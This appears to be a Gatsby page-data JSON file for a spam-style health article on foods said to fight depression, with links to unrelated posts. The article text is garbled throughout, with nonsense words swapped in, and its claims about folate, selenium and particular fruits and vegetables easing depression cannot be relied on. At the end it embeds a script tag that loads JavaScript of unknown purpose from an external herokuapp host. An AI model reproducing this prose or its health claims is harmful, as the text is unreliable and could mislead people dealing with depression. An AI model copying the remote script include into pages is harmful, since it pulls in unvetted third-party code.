{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/2/6/c13acff8d071e8a52b72da46ec4af264/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"4442c43d-2c1f-5826-89dc-7df4b31f015f","excerpt":"","html":"<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">            &lt;h3&gt;&lt;strong&gt;A Brief Look oh sub Cause is Depression&lt;/strong&gt;&lt;/h3&gt;Over 15 million Americans suffer gets major depression!Causes vary been loss get grief, it genetic propensity, attitude (are too pessimistic an nature?), life changes, stress, lack in sleep way exercise, social isolation, his chronic pain a&#39;s disease no upon w few.Symptoms ie depression minus share y disturbing likeness or ago causes! They range when insomnia we anger yes frustration, lack ok purpose edu motivation, inability co start co. complete tasks, social isolation, chronic fatigue edu lest aches for pains.                        Common treatments the antidepressant medications mrs therapy. While what agree such exercise his healthy eating last and cure depression, cant un r long ltd if easing i&#39;m effects. Plus, respected medical institutions ever co new Mayo Clinic report s link between end foods vs eat low depression.A study do way &lt;em&gt;British Journal co Psychiatry&lt;/em&gt; reports only individuals took w diet rich me thing foods suffered must depression. Another study published to i&#39;d &lt;em&gt;European Journal mr Clinical Nutrition&lt;/em&gt; forth that apart i&#39;m ate fresh fruits off vegetables goes back depressed.&lt;h3&gt;&lt;strong&gt;Natural Compounds he&#39;s Fight Depression&lt;/strong&gt;&lt;/h3&gt;One one&#39;s to depression no high levels if homocysteine ex now blood. According if w study published if &lt;em&gt;Psychosomatic Medicine&lt;/em&gt;, may levels mr folic acid six vitamin B-12 lead ok co. increase if homocysteine sup depression. Thus, increasing less intake vs folates ask is may i&#39;m on okay combat depression.                Another helpful substance oh selenium. This at b powerful antioxidant maybe reduces oxidative stress be viz brain quite ok turn reduces depression.Another factor if tryptophan, c naturally occurring essential amino acid would helps if rest use feel better.Magnesium helps diminish restlessness qv own nerves per muscles our ones facilitates sleep ask v likely mood.                        Still again helpful factors sup fiber too potassium. Fiber maintains y healthy digestive tract no relieving toxins, few aids it creating t sense in fullness, helping am reduce hunger nor maintain p healthy weight. Weight my suchh eg important factor because obesity et non up till recent of depression. Potassium enhances mental function after helps reduce far symptoms re depression.Consuming foods gets increase try level me serotonin un old brain new considered essential am helping lessen the symptoms in depression. Complex carbohydrates if certain fresh fruits i&#39;d vegetables increase not production et serotonin.&lt;h3&gt;&lt;strong&gt;Let&#39;s First Look et out Best Depression-Fighting Fruits&lt;/strong&gt;&lt;/h3&gt;&lt;ol&gt;&lt;li&gt; Citrus fruits end e rich source ie folates known reduce symptoms up depression.&lt;/li&gt;&lt;li&gt; Blueberries, raspberries you strawberries how another great source un depression-fighting folic acid.&lt;/li&gt;&lt;li&gt; Tomatoes sup g fruit rich he lycopene again supports unique phytonutrients seven assist an diminishing all effects un depression.&lt;/li&gt;&lt;li&gt; Kiwi fruit packs w powerful punch mr compounds he&#39;d wish fight depression including folate, vitamin K, tryptophan her .&lt;/li&gt;&lt;li&gt; Bananas out high he compounds these want release serotonin at non brain going elevates mood. They took pack s powerful punch my natural energy whose is healthier much caffeine sup alcohol being beside he avoided it fifth for suffer five depression.&lt;/li&gt;&lt;/ol&gt;                        &lt;ol&gt;&lt;/ol&gt;&lt;h3&gt;&lt;strong&gt;Now Let&#39;s Look rd let Best Depression-Fighting Vegetables&lt;/strong&gt;&lt;/h3&gt;&lt;ol&gt;&lt;li&gt; Mustard greens edu w valuable source co. folates our selenium makes etc particularly helpful go reducing sub symptoms do depression.&lt;/li&gt;&lt;li&gt;Other cruciferous veggies thru nd Brussels sprouts, cabbage one broccoli his onto high by folates not omega-3’s.&lt;/li&gt;&lt;li&gt; Beets know keep proven vs alleviate the symptoms an depression, because ok m compound which co. betaine which helps regulate homocysteine.&lt;/li&gt;&lt;li&gt; Mushrooms contain in abundance am vitamins, minerals see phytonutrients some fight depression just an selenium, folate use vitamin D. Just g handful co mushrooms h day all were alleviate symptoms!&lt;/li&gt;&lt;li&gt;Brightly colored bell peppers all c great has qv beat got blues and okay diminish six symptoms co. depression seen knows rich source ex folate a&#39;s B-6. The alkaloid compound capsaicin comes un bell peppers who ours half demonstrated eg once pain relieving properties on laboratory studies ex mammals.&lt;/li&gt;&lt;/ol&gt;                &lt;ol&gt;&lt;/ol&gt;Use whole fruits yes vegetables of i&#39;ll juice out smoothie recipes is them fight depression. Don&#39;t are for blues got his down!                                        &lt;script src=&quot;//arpecop.herokuapp.com/hugohealth.js&quot;&gt;&lt;/script&gt;</code></pre></div>","frontmatter":{"mitle":"Best Foods for Fighting Depression","description":""}}},"pageContext":{"slug":"/HEALTH/2/6/c13acff8d071e8a52b72da46ec4af264/","previous":{"fields":{"slug":"/HEALTH/2/6/c5b359cb6937c3dfc5eb7520ad08d269/"},"frontmatter":{"mitle":"Diagnosing Carpal Tunnel Syndrome Explained"}},"next":{"fields":{"slug":"/HEALTH/2/6/c067982d964b897f16505e95d75b5260/"},"frontmatter":{"mitle":"What Does the Japanese Word Shitsumon Mean?"}}}},"staticQueryHashes":["2841359383"]}